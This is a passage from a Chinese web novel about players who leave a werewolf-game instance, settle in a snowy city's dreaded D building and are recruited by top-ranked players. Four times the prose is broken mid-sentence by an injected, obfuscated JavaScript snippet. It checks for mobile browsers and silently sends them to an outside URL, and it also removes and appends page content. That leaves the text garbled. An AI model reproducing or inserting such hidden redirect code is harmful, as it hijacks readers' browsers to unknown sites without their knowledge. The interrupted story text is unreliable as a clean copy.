话落,一声刺耳的“吱呀”打断了寂静。古堡厚重的橡木大门缓缓推开,潮湿的冷风卷着落叶灌入,两道身影逆光而立。 付遇站在门槛上,唇角勾着熟悉的冷笑,指尖把玩着一张狼牌。而她身旁,林志正用衣角擦了擦眼镜镜片。 “我们好像错过了什么好戏?”付遇的视线扫过每一张惊讶的脸。 “你、你们不是被票出去了吗?”宋睿吓得大笑一声,抓住冬逢初衣角躲到他身后,“闹鬼啦!” 古堡的大厅陷入死寂,所有人的目光都聚集在法官身上。他站在壁炉前,火光映着他那张永远挂着僵硬微笑的脸。 “初小姐在第一天就找到了我。” 他的声音低沉缓慢,像是在宣读一份早已写好的契约。 “她提出来一个...非常有趣的协议。” 法官从黑袍中取出一张泛黄的羊皮纸,缓缓展开,上面的字迹行云流水却章法井然,景明垂认出这是初与序的笔迹: 「若满足以下条件,则全员存活:」 「1.所有狼人被票出局」 「2.无好人死亡」 「3.情侣存活至最后」 「4.无任何玩家得知此协议」 「——初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969522|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与序,第一日签署」 那些一开始提出质疑的玩家意识到,初与序说的“我要全员存活”这句话是真的。她早就和法官商量好,修改了副本规则。 “规则从未禁止谈判。”法官的指尖划过羊皮纸边缘,“初小姐用她第一场副本的奖励物品,「引魂灯」交换了这个机会。” “不对啊!”关应好想到了什么,指向林志,“林志是平民,好人阵营,第一晚就被票出去了。” 长桌中央甩上一张身份牌,初与序指尖点上牌面:“他是白痴牌,被票出局不会死,只是暂时离场啊。” 话音落下,空气仿佛凝滞了一瞬。 法官卷起羊皮纸,声音忽然带上人性化的愉悦:“恭喜各位,成为千年来唯一全员存活的玩家。” “游戏结束,好人阵营胜利。” 他退入阴影的瞬间,古堡所有蜡烛同时熄灭,十位玩家陆续走出。大门在众人身后缓缓关闭,发出沉默的闷响。 阳光刺破云层,洒在每个人的脸上。真实的、不带血腥气的阳光。 【恭喜各位玩家通关《狼人杀》。】 【在这座被诅咒的古堡里,满月曾见证过无数场血腥的博弈。玩家们互相猜忌、背叛、厮杀,最终化为墙上游荡的阴影。而如今,阳光第一次照亮了生还者的道路。十位玩家,十位幸存者,带着未解的谜题与隐秘的代价,踏碎了古堡百年来“必死一人”的铁律。】 【这是一场以谎言为刃、以信任为赌注的游戏。当规则成为玩具,当生死沦为赌注。赢家通吃的代价,往往在游戏之外。】 初与序点开自己的面板,查看第二场副本的奖励。 【本次副本奖励:玩家初与序总积分增加四十五分,获得一枚“不死鸟徽章”(可免疫一次致命攻击)】 【隐藏惩罚机制:由于触碰契约,恭喜玩家初与序获得debuff“法官的注视”(后续副本中npc敌意+20%)】 初与序:“......” “每次通关副本获得的积分都有什么用?”赵灵泽点开自己面板,看着上面一共八十的积分。 “在这里,积分等于人民币,可以用来买东西。”关应好向几位新玩家解释,“同时,当一位玩家集齐五十五万积分,就可以回到现实。” 宋睿睁大眼:“现实...就是回家吗?那、那有没有玩家回到过现实呢?” “很遗憾告诉你,从来没有。”付遇摊开手,“首先一个副本最多四十五积分,我们顶多一周进三次副本。其次虽然食材自动更新,但总要用积分买其他的。最后如果不慎违规,还会被系统扣除积分。” 林志出声道:“不过意哥好像已经集齐二十万积分了。” “意哥?”景明垂捕捉到关键信息,出声询问。 “先上车。”林志朝前方扬了扬下巴,“上了车再和你们解释。” 正前方的迷雾向两侧退去,一辆列车静静停靠在那里,车门大开。初与序发现这辆车已经不是之前送自己进入副本的D018次。 23. 新世界 关应好率先登上列车,其余玩家紧随其后。待车门关闭,广播开始播报: 【尊敬的各位玩家,您好。您乘坐的D019次列车即将出发,请配合工作人员妥善安置好行李,防止遗失。本次列车起点站:《狼人杀》;终点站:永冬之城。】 “这是我们来时的列车。”景明垂侧头看向初与序,“你来时是哪一辆?” “D018次列车。”初与序抬头,注意到这辆列车的列车长是个女人,波浪卷长发,穿着执行官的黑色制服,背对着他们开车。 关应好坐在前面,他回过头道:“各位,我们现在要回永冬之城,也是我们生活的地方。”他顿了顿,继续道,“至于为什么这个城市叫永冬之城,等你们到了就明白了。” “永冬之城的玩家总共有一百多万,总积分排名表的第一名是江意,我们平时叫他‘意哥’。”付遇接话,她掏出手机翻了翻,将一大长串排名表递给几位新玩家,“现在给你们看的是前一千名的,江意排第一。他来这里五年了,刚来时二十岁,也是新人玩家第一,每场副本得分不低于四十二。” “请问,第二名和第三名呢?”周听坐在后面,看不见排名,只好问前方的初与序。 初与序抬手遮住右眼,用左眼看付遇手机上的排名表:“第二名叫回北,第三名叫赵禾。” “你为什么要用左眼看?”周听看着初与序,好奇道。 “右眼受过伤,视力受损。只用左眼看东西时会更清晰。”初与序放下手解释。 几人这才发现初与序的右眼瞳孔灰蒙蒙的,像蒙了一层雾。周听连忙道歉:“不好意思,我没发现。” 初与序笑了笑,摇头示意没关系。 冬逢初看过来,温和地笑着,轻声说:“你的眼睛很好看。” “多谢。” “今年新人玩家的排名刚刚被系统发出来了。”林志看着手机,将排名表放到几人面前,“现在只剩下一百四十三人,算多的了。” 几人凑过来看,第一名是初与序,总积分九十八;第二名是景明垂,总积分八十八;而第三名的冬逢初总积分八十七。 “永冬之城的玩家都居住在编号从A到Z的不同小区中,每个小区的楼栋采用字母加数字的组合命名,比如A1栋,B2栋等。其中,以A开头的住A区,以B开头的住B区,以此类推。”关应好说道。 “按照排名和总积分,你们三应该会被分到D栋。”他摸了摸下巴,语气变得奇怪,“这算好消息呢,还是坏消息呢?” “怎么说?”景明垂抬眼问道。 付遇凑过来:“这么多小区里,唯独D区例外。整个D区仅有单独一栋楼,即D栋。” “无论白昼黑夜,整个D区都阴森森的。而且那里的住户无一例外全是积分榜上的顶尖玩家...意哥就住那里。传闻他们个个心狠手辣,不仅在副本里屠杀鬼怪,对同类也毫不留情。普通玩家对那里避而远之,D区成了整个居住区最令人畏惧的禁地,已经十几年没有玩家住进去了。” 她一拍手,压低声音:“还有,听说D区受了诅咒,每隔十八年都会出现死亡事故。十八年前的今天,D栋一位住户在家中死亡,死因不明。之前排名第四的齐无尽都搬出了D栋,去了离D栋最远的Q区。” 三人对视一眼,冬逢初道:“这么玄乎?” “反正D区确实很怪,白天基本上看不见人,晚上还会出现幽灵。”林志耸肩,“你们要是被分到D栋但不想去,可以和执行官商量,他们会重新分配。以往每年被分配到那里的新人玩家都这么做。” 话落,列车明显开始减速,前方的女人打了个哈欠,回过头:“各位,到站了,下车后会有穿黑色制服的执行官来接待新人玩家,各位跟着他们走就行。不用担心,永冬之城禁止伤人。” 初与序转头看向窗外,映入眼帘的是一座被皑皑白雪覆盖的站台,银装素裹的站台上站满了玩家,三五成□□谈者。当列车缓缓停靠时,玩家们不约而同朝这边投来视线,压低声音交头接耳。 “明白这里为什么叫永冬之城了吧?”林志站起身,“从十八年前开始,这里一年四季全变成了冬天,大雪封城...最近这几天还在下雪,雪地又要厚几倍。” 几位新玩家看着自己身上的夏季服装陷入沉思,除了穿长袖的初与序和景明垂,其余人全部是短袖。付遇挥手笑道:“你们坚持一会,每人的住处都会自动提供冬季衣服。” 十人顶着寒风下列车,外面簌簌落着雪。站台的柱子旁,一个透明置物桶里整齐插着几把长柄伞。他们走过去随手抽出一把,撑起挡住雪花。 伞是透明的,细碎的雪花落在上面,融成细小的水痕。初与序看着雪花,她是南方人,对“雪花”的执念很深,也很喜欢冬天。 不远处,几位穿着黑色制服的人穿过雪幕朝这边走来。初与序这才注意到,每位执行官的左胸前都别着一枚小巧的银色铭牌,上面刻着醒目的黑色编号。 其中一位扎着利落小辫子的男执行官径直向她走来,铭牌上的字样清晰可见——D19。他抬起手腕,指尖轻轻一划,悬浮面板出现在空中,声音清脆: “各位新人玩家,我们是永冬之城的执行官。”他环视人群,呼出的白雾在空气中短暂停留,“以下念到姓名的玩家,请随我前往住宿区。” D19清亮的声音刚落,周围几位执行官相继打开面板,各自报出新人玩家的姓名,示意念到名字的玩家跟着自己走。 “初与序、景明垂、冬逢初。”D19抬头,关闭悬浮屏幕,看向面前念到名字的三人,神色平静,“你们被分到D区了,要换住宿区吗?” 三人摇了摇头:“不用了。” “有意思。”D19轻笑一声,“你们是这几年来第一批愿意选择D区的新人。” 旁边正在引导其他玩家的执行官闻言都顿了顿动作,一个戴着半框眼镜的女执行官转过头来,胸前的“E07”编号在暮色中微微发亮。 “D区啊...”她笑了笑,没有说剩下的话,带着另外两位新人玩家走远。 D19已经转身迈开步子,黑色制服下摆扫过积雪,留下一串清晰的脚印:“跟紧了,天黑前得把各位安全送达。” 三人回头看了看宋睿,宋睿踮起脚冲他们挥了挥手:“我和蒋川被分到S区了。” “有缘再见。”初与序面上带着淡淡的微笑。 他们跟在D19身后,沿途的景色既熟悉又陌生:右侧的大医院灯火通明,玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969523|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗上结着冰花,隐约能看见穿白大褂的执行官匆匆走过。隔壁是一家挂着“雪松烘焙坊”招牌的面包店,店主是玩家,正踮着脚在橱窗上贴“新品上市”的告示。 “医院里的医生都是执行官,受了伤直接找医生。”D19边走边介绍道,“像这种店铺,都是永冬之城的玩家开的,赚取积分。” 再往前走,公园的长椅覆盖着厚厚的雪,几个玩家裹着围巾坐在那儿。图书馆的阶梯上,有人抱着书快步抛下,靴子踢起一小簇雪沫。来往的玩家踩着积雪行走,说话声散在风里。 “最近下雪,出门的玩家比平时少。”D19的声音放轻了些,“你们刚来可能不习惯,但待久了,就能把自己当作现实世界。” 穿过一条结冰的河时,一面巨大的全系平民化突兀地立在风雪中。屏幕边缘闪烁着幽蓝的光晕,在雪幕里格外醒目。前三名的ID以烫金字体悬浮在最上方: 「1.江意 200000pt」 「2.回北 151000pt」 「3.赵禾 150000pt」 “月度排名。”D19头也不回地说,呼出的白气模糊了他半边侧脸,“pt是Player Points的简称,系统根据副本通关效率、战斗评分、资源收集率等计算的综合数值。换成现实的概率,大概相当于游戏币、经验值和声望值的集合体。” “江意已经连续二十个月霸榜了。”他忽然侧头看向三人,“屏幕上这三人,你们尽量谁都不要惹,尤其是赵禾。那小姑娘能把你们头拧下来。” 他勾起唇角:“忘记说了,这三人都住D区,江意住十七楼,和冬逢初一层楼。” 冬逢初:“......” 大屏幕突然闪烁,赵禾的pt值跳动了:150000变成150040。D19抬头看了一眼:“看,就在我们说话功夫,赵禾刚刚通关了某个A级副本。” 他继续向前走:“玩家分为高层、中层和底层。高层占1%,可以强行征用未满员的副本队伍,自行组队,甚至自由出行系统各个大厦,除了系统总部,那里连执行官都难进。” 他的指尖划过,悬浮面板在风雪中展开,身后三人的ID赫然悬浮在新人榜顶端,周围缠绕着代表高权限的金色流光。 “新人时期就冲进高层序列的,上一批是...正好是江意和他的队友呢。” 说着话,D19带着三人进入D区。 整个D区笼罩在一种诡异的寂静中,枯树枝丫在风中摇晃,投下的影子像骨爪。路灯虽亮着,却仿佛蒙着一层雾,照不亮三步以外的路。初与序注意到沿途的长椅积了厚雪,显然很久没有人坐过了。 “D区一直是这样,很安静。”D19声音很轻。 他在积雪覆盖的广场中央停下脚步。眼前孤零零立着一栋灰色的长方形建筑,共十八层楼。外墙上用红色油漆歪歪扭扭刷着一个巨大的“D”字母。 整栋楼没有一扇窗户亮灯。 “欢迎来到D栋。”D19的声音在空旷的广场上产生轻微的回音,“入住率显示,目前有47位玩家在此居住,都是高层玩家。” 三人抬头,47人居住的十八层大楼,此刻却一片死寂,像是...骨灰房。 24. D栋的真相 正当三人发呆,D19不知从哪变出三本黑色硬皮手册,塞进每人手中。封面上的《永冬之城规则手册》字样在雪光下泛着冷光。 初与序翻开,扉页上用红色写着警告标语:「所有条款最终解释权归系统所有」。 “收好了。”D19抬头点了点冬逢初手中的手册,“第14页到102页是禁止事项。比如,提及任何关于如何毁灭永冬之城的事情,禁足三个月。” 话音未落,D栋大门突然“吱呀”一声被推开。一个顶着乱糟糟黄毛的年轻人咬着草莓饮料的细管,拎着垃圾袋,晃晃悠悠走出。他套着家居睡衣,穿着一双毛绒拖鞋,在雪地里踩出一串脚印。 “D19?”黄毛将垃圾袋扔进垃圾桶,“诶,我们D栋终于来新人了?可喜可贺啊!”他走过来,突然伸手拍了拍冬逢初手里的规则手册。 “这玩意儿啊,全是废话,不用太当真。”他笑道,“我上次在公共区域烧烤都没人管。只要别作死试图炸了这里,最多就是在处罚区关几天。” D19没好气道:“随歌,你上个月被罚去《极地暴风雪》副本扫了三天雪。” “那叫带薪休假!”随歌笑嘻嘻反驳,转头朝三人眨眨眼,“放心啦,D栋超自由的。晚上打游戏开到最大音量都没人投诉。” “不过......”随歌眼睛一亮,认真打量着初与序,“这位妹妹,我怎么感觉你好眼熟?几年前在哪里见过你来着?” 初与序接话:“五年前,在竹翰学院见过两面,我记得你在高二二班。” “真的是你!”随歌惊讶道,“你叫初与序,对吧?”他向前迈了一步,“没想到在这里也能遇见你。” D19有些意外地看着两人:“你们认识?” 随歌转头解释:“几年前我们在竹翰学院时见过。”他语气平和,快速掠过了那段灰暗的往事。冬逢初注意到,随歌说这话时,手指无意识地握紧饮料瓶,右手五指上有很明显的伤疤痕迹。 他的尾音还带着笑意,接着: “砰!!!” 一声闷响,像装满水的麻袋从高空砸落。 初与序的视野骤然被一片猩红覆盖。 一具人体在她面前不到半米处炸开!飞溅的鲜血呈放射状喷在雪地上,滚烫的血珠甚至溅到了初与序脸颊和衣服上。 那个长发姑娘的身体深深陷进积雪,颈椎“咔嚓”断裂,白骨刺破衣服袖口,手指还在神经质地抽搐。鲜血从她身下汩汩涌出,在雪地上蜿蜒成诡异的图案,热气在寒冷的空气中凝结成淡淡的红雾。 整个世界在死寂了一秒后,骤然沸腾! 随歌猛地后退一步:“我草!跳楼?!” D栋大部分窗户被猛地推开,探出几十个睡眼惺忪的脑袋。七楼有个刷牙的住户满嘴泡沫睁大眼睛,十二楼的男人甚至抱着爆米花桶倒吸一口凉气。 血泊开始融化周围的积雪,初与序低头看着溅到自己衣服上的血迹,愣在原地。 D19最快反应过来,一个箭步上前将初与序拽离血泊边缘,同时按下传讯:“D区D栋紧急情况,18楼疑似自杀事件,请求医疗队快速到达。” 警报声划破永冬之城寂静的夜空,刺眼的红色警示灯在雪地上投下光影。不到十分钟,D栋就被身穿黑色制服的执行官们团团围住。 尸体很快被裹上白布抬走,只留下雪地里一片刺目的猩红。D19站在一旁,面无表情地记录着什么,面板的冷光映在他紧绷的下颌线上。 新鲜的雪花无声飘落,渐渐覆盖那片被鲜血浸透的雪地,抹去一切痕迹。D栋的住户们起初还探出头张望,可不过片刻,那些窗户又一扇接一扇地关上,仿佛刚才的惨剧只是一场无关紧要的插曲。 初与序抬头望着十八楼,那里黑洞洞的窗口像一只空洞的眼睛,漠然俯视着下方发生的一切。 随歌站在三人身边,声音低得几乎听不见:“听过关于D栋的诅咒吧?每隔十八年,D栋都会死亡一个住户,无一例外都是自杀。上次是割腕,这次是跳楼,仍然不知道死者是谁。” “系统总部没有资料可以查找死者身份信息吗?”景明垂问。 “没有。” 四人身后传来低沉的男声,他们猛地回头。 一个戴着黑框眼镜的年轻男子不知何时已经站在他们身后。他穿着淡绿色制服,那条红色领带在风雪中微微飘动。镜片后的眼睛平静,正仰头凝视着十八楼那个黑洞洞的窗口。 初与序发现他很瘦,脸色白得如纸,似乎是个……病人。 “意哥?你回来了。”随歌向另外三人介绍,“你们在大屏幕上看到过他的名字,江意,我队长。” “所有死者都是新人玩家,在系统登记时都显示正常。可死亡后,他们的档案像被抹去一样,一丝不剩,似乎不是这个世界的人。” 江意低头看向四人:“有趣的是,这些死者全部是十八楼第三间房的住户。不断有新玩家住进那间房,又不断死亡。玩家们把这件事称为‘D栋的诅咒’,只要住进那间房,十八年后一定会死亡。” D19低头看了看面板,又将D区门禁卡发给三人:“很巧,初与序和景明垂被分到十八楼另外两间房,冬逢初分到十七楼第三间房,暂时换不了楼层。” “那你和我,还有意哥住同一层楼呢。”随歌朝冬逢初扬了扬下巴,笑道,“终于有人陪我打游戏了,意哥平时都不搭理我。” 江意翻了个白眼,转向冬逢初:“建议你别和他打游戏,他坑队友。” “你们俩把玩家之间的事告诉新人,我还有事,先回系统处理区了。”D19挥挥手,拍了下江意肩膀,凑到他耳边说了一句话。江意抬头看了三位新人玩家一眼,点了点头。 “去那边说吧。”随歌指了指不远处覆盖着薄雪的石桌。 五人围坐在石桌旁,江意将电脑打开,推到随歌面前,屏幕在暮色中泛着幽蓝的光。他快速输入网址,点开页面。 论坛首页上,#年度新人王#的tag赫然挂在热搜第一,后面跟着初与序三人的名字。 “看,你们三个刚来就上热搜了。”随歌指着热搜第一的标签,下面实时滚动的评论里混着各种猜测: 「听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969524|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说有个是竹翰学院的」 「怎么住D区了?」 「赌500积分活不过两周」 “叽里咕噜评论什么呢?”随歌随意揉了一把黄头发,“这是永冬之城的新闻论坛,有什么事都会在上面。只有队友之间可以用手机建群,不是队友的玩家只能在论坛上聊天。” 他压低声音“从现在开始,你们说话要当心。从玩家踏上列车那一刻起。”他点了点自己心口,“这里就被埋了监听芯片,说出的话和发出的文字都会被分析,甚至...” 江意接话:“连思想都会被检测,但概率很小。” 景明垂坐在一边飞快翻动《永冬之城规则手册》,上面的规则密密麻麻、眼花缭乱。她将书用力合上:“太多了,不看了。” “这玩意真没必要看,我拿去盖泡面了。”随歌托着脸不在乎道,“你们问问意哥,他都没看。” 江意扫了《永冬之城规则手册》一眼,面无表情回答:“我拿去垫桌角了。” 随歌笑出声来:“D栋住户没有一个遵守规则的。” “说道D栋...”冬逢初想到了什么,“听说D区白天看不到人,晚上还会出现幽灵,真的吗?” “别听那些玩家瞎扯。”随歌挥手,“D栋住户要真那么凶残,我还能活到现在?” 他懒洋洋往后一靠,手指在石桌上敲了敲:“真相是,D栋的住户作息全是反的。白天睡觉,或者泡在副本里刷积分,晚上才出来活动。半夜三更在走廊里溜达、厨房煮火锅、甚至组团去海边。” “结果其他区的玩家半夜撞见D栋穿白衣服的人,被吓得够呛,传着传着就变成‘D栋闹鬼’。” 景明垂道:“那么之前排名第四的齐无尽搬出D栋,又是为什么?” “他作息正常,但其余住户作息不正常,经常大晚上发癫,吵到他了。”江意面无表情。 冬逢初问:“那说你们个个心狠手辣,杀鬼怪杀玩家呢?” 随歌耸耸肩:“拜托,我们顶多就是半夜打游戏开麦骂人,或者在副本里坑几个不长眼的家伙而已。” 三人沉默片刻,冬逢初一脸无奈:“所以这里根本没有传闻中那么可怕?只是一群夜猫子干点比较颠的事?” “Bingo!”随歌打了个响指,“不过,D栋确实有个不成文的规矩:晚上十二点后,谁要是在走廊里装神弄鬼,就会被全楼的人追着打。上个月八楼那孙子就这样,结果被追了。” 江意推了推眼镜,镜片反射着冷光:“但有一点是真的,D栋的死亡率比其他地区高。” “那是因为我们是高层玩家,还爱作死。”随歌笑嘻嘻补充,“半夜挑战S级副本,或者在自动贩卖机里卡bug刷限量草莓牛奶——哦对了,虽然很好喝,但这个别学。” 初与序看着随歌轻松的表情,紧绷的神经稍微放松了些。可就在这时,D栋某个窗口突然传来一声巨响,接着是一阵狂笑和什么东西砸碎的声音。 随歌头都没抬,淡定地喝了口草莓牛奶:“别管,肯定是八楼那孙子又在半夜装修。” “……” 25. 和大佬组队 在坐到石桌边前,几人已经把伞放在广场的置物架上。细碎的雪花飘散下来,落在五人发间。随歌伸手接了一片雪花:“已经好几年没下雪了,这几天雪下个不停。” “...这里从十八年前就是冬天?”初与序声音很轻。 “没错。”随歌甩了甩手,“那些在永冬之城生活了十几年的老玩家说,十八年前的永冬之城四季轮回,和现实世界一模一样。不知道为什么现在只定格在冬天了。” “对了。”他想到了什么,手腕一翻,一把青绿色的竹扇出现在他掌心。他“唰”地展开扇面,翠竹墨痕在雪色中格外清冽,扇骨流转见隐约有细碎的风声萦绕。 他轻轻扇了扇子几下:“武器在这里还是蛮重要的,可以保命。我的武器是竹扇,可以呼风唤雨,治疗玩家。永冬之城治疗系武器可稀有了。” 初与序看了看那把素雅的竹扇,又看了看随歌那头张扬的黄毛、松松垮垮的睡衣和没个正形的坐姿,怎么也无法将这两者联系在一起。 “怎么?”随歌察觉到她的视线,挑眉一笑,“觉得这扇子跟我气质不搭?” 初与序沉默片刻,缓缓开口:“你把扇子翻个面。” 随歌动作一顿,随即“嘿嘿”一笑,手腕灵巧地一转,扇子翻了过来。 只见扇子背面龙飞凤舞地写着四个张扬的大字:「全城第一帅」。墨迹酣畅淋漓,笔锋还夸张地甩出几道得意扬扬的弧度,生怕别人看不出写字的人有多自恋。 “怎么样?”随歌得意地摇了摇扇子,“这可以我亲自题的。” 冬逢初轻笑出声:“这就是你的武器?” “当然!”随歌理直气壮,“在永冬之城这种鬼地方,帅可是一辈子的事!”他“啪”地合上扇子,扇柄在指尖转了个圈,“再说了,我这叫战术。敌人要是打架时突然看到这行字,肯定愣一下,这不就赢了一半了。” 江意无奈地看着随歌:“以后你拿这把扇子时,别说我是你队友。” 他抬起右手,将制服袖口往上拉了拉,露出手腕上那枚泛着冷光的机械手环。手环此刻处于休眠状态,表面只浮动着简约的时间数字。他指尖轻点手环边缘,金属外壳无声滑开,露出内部齿轮。 “手环可以操控局部范围的重力。”他介绍道,“不过,这东西不是我想用就能用的。环境磁场、我的体力、精神力,甚至当天的天气,都会影响它的启动概率。” 随歌凑过来,竹扇轻轻敲了下手环:“上个月在S级副本,这玩意失灵,害得意哥从七楼摔下去,幸好当时下面是海。” “所以我做了点改装。”江意摘下手环,按开暗格,露出里面缠绕的线,“如果失灵的话,至少能保证它爆炸时只炸飞敌人。” 随歌立刻后退三米:“等等!你啥时候改装的?我咋不知道?!” 江意重新戴上手环:“就在刚刚,我带着手环去找齐无尽改装了,没来得及和你说。”他推了下眼睛,“而且在永冬之城,我的武器失效,不会爆炸。” “要想获得武器,前三个副本得分必须超过129分。”他看向另外三人,“我看过你们现在的总积分,想知道为什么初与序的第一场副本得分比满分多。” “我的第一场副本是《灯影诡村》,并不是新手副本。系统分配出了bug。”初与序回答,“为了补偿,通关后在原有得分上增加十分。” 随歌惊讶道:“《灯影诡村》?我上周刚通关那个副本,差点死在赵四手里。那NPC的设定是讨厌我家境优越,被村民蛊惑,要杀我。你是怎么过关的?” 初与序抿唇想了想:“我……直接杀了赵四,放了几把火。” 随歌:“???” 他和江意对视一眼,凑近三人,眼睛亮亮的:“三位,要不要考虑和我们组队?” 没等回应,他就掰着手指数起来:“好处可多了!第一,”竹扇指向江意,“这位可是全服第一名,档案室高级权限持有者,可以进入大部分系统大厦,只需要登记就行了!” “第二!”扇子转向他自己,“我也不差,排名第五。意哥的重力场可以抵消我治疗时的能量波动,活下来的概率大大增加。本队医的治愈能力全城排名第一,还包每日心理疏导~” 江意冷冷吐槽:“你确定不是每日精神污染?” 随歌权当没听见,继续激情推销:“第三!我们知道很多别人不知道的事情,可以全部告诉你们。” “第四!”他变魔术般从口袋里掏出三盒草莓牛奶,“现在入队就送永冬之城自动贩卖机破解卡,24小时无限畅饮草莓牛奶!” 江意终于忍无可忍地按住他,一本正经地纠正:“玩家营养补充剂,而且每天限量供应。” “哎呀差不多~”随歌嘻嘻嘻勾住冬逢初肩膀,“怎么样?全城最靠谱的玩家二人组,买一送一。” “等等。”初与序开口,“为什么选我们?” 话落,江意的手环自动投射出悬浮面板,上面是三人在新手副本中的战斗数据,评分全部飘红。他认真道:“系统计算,如果我们组队,生存率能提升47%” “还有一点…”他犹豫片刻,“你们可能还没意识到,新人登上高层排行榜,意味着什么。” 随歌也收起了玩笑的神色,竹扇展开遮住半张脸:“在永冬之城,新人越强,越容易被‘狩猎’。” 江意拿过电脑,输入一串代码,调出一段监控画面。几个高层玩家正聚集自爱某个暗巷,画面中清晰传来对话片段: “那三个新人……必须尽快处理掉。” “高层玩家数量是固定的,你们上去了,老玩家就会下来。”江意关闭投影,“他们会跟着你们进入副本,不惜一切代价杀死你们。单独行动的话,你们很难活过三个副本。” 随歌勾起嘴角:“但跟我们组队就不一样了。江意是系统执行官的人,没人敢明着动他。我是高级治疗师,他们拉拢我都来不及,不会杀我。” 随歌收起扇子,“所以,和我们组队怎么样?” 三人静了几秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969525|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初与序露出笑容:“好。” “下一个副本我有事,随歌和你们进去吧。”江意站起身,“尽量让总积分超过129,获得武器。” “保证安全回来。”随歌拍了拍胸脯,掏出手机,“先加个好友拉个群,方便联系。” 初与序拿出手机晃了晃:“你们先加,我手机摔坏了拿去修,之后让景明垂把我拉进群里。” “那你得走远路了,没有任何玩家在D区附近开店。”随歌指向右边,“往右边走,C区有一家修手机的。” “多谢。”初与序点点头站起身,从置物架抽出雨伞,走出小区。 寒风卷着细雪扑面而来,空荡的街道上连个鬼影都没有。没有店铺,没有行人,甚至连建筑都少之又少。 她踩着积雪走了很久,直到周围的景色逐渐鲜活起来。C区的街道明显热闹许多,路灯下能看到玩家三三两两地走过,街边的店铺亮着温暖的灯光,食物的香气混在冷风里飘过来。 初与序推开一家手机维修店的门,风铃“叮当”轻响,暖气扑面而来,初与序这才意识到外面很冷。柜台后的店主抬头瞥了她一眼,目光在她胸前的D区门禁卡上停留了一瞬,又看了看这个大冬天穿单薄长袖的玩家一眼,表情微妙地变了变。 “修手机?”店主语气平淡,但手指不自觉地在柜台上敲了敲,像是在计算风险。 初与序把手机递过去:“几天前被摔过,屏幕不亮了。” 店主接过手机,动作很快,像是怕碰到什么东西。他拆开后盖检查了一下,眉头皱起:“主板摔裂了,D区来的?” “嗯。” “难怪。”店主嘟囔了一句,从柜台下拿出工具,“得加钱,1.5积分,D区的单子我们一般都不接。” 初与序点头,安静地等着。 店主的手指在拆机工具上停顿了一下,眼神飘忽地瞥向初与序,压低声音试探道:“那个……你们D区是不是真的闹鬼?听说很危险?” 初与序抬眼看他,声音轻得几乎像耳语:“是啊,尤其是半夜。” 店主的手一抖,螺丝刀“当啷”掉在桌上。 初与序凑近了一点,面无表情盯着他,说出的话却非常诡异:“你听过D栋的脚步声吗?明明走廊里没有人,却能听见‘哒、哒、哒’的声音。”她的指尖在玻璃柜上轻轻敲了三下。 店主咽了咽口水,后背已经贴上了货架。 “还有。”初与序继续道,语气轻飘飘的,“有时候你修手机,屏幕里会突然……”她伸手一点店主的手机,“——闪过一张人脸!” “卧槽!!”店主吓得直接从椅子上弹起来,差点撞翻身后的展示柜。 初与序直起身,面无表情:“开玩笑的。”她指了指自己的手机,“麻烦快点,我要回去吃饭了。” 店主惊魂未定地喘了两口气,这才发现自己的手机屏幕根本没亮过,他抹了把冷汗:“没问题没问题…算了,不收你积分了…” “谢谢。”初与序淡定点头。 26. 拯救世界顺便偷草莓牛奶计划组 十几分钟后,店主将修好的手机递给初与序,屏幕已经恢复如常,泛着冷白的光。 “你试试,应该没问题了。”他语气轻松了些,却在初与序伸手接过的瞬间,猛地僵住了—— 初与序的袖口因动作微微上滑,露出的胳膊上布满伤痕。那些伤新旧交错,有细长的割伤,像是被什么锋利的边缘划过;有深紫色的淤青,指印隐约可辨;甚至还有几道被烟头烫伤的疤。 店主的手指无意识地抖了一下。那些伤痕绝不是普通的擦伤或意外造成的,它们太过于密集,太过刻意,像是…长期遭受虐待的痕迹。 初与序不动声色地拉下袖口,低头开机,屏幕的光映在她脸上,显得格外苍白:“谢谢。” 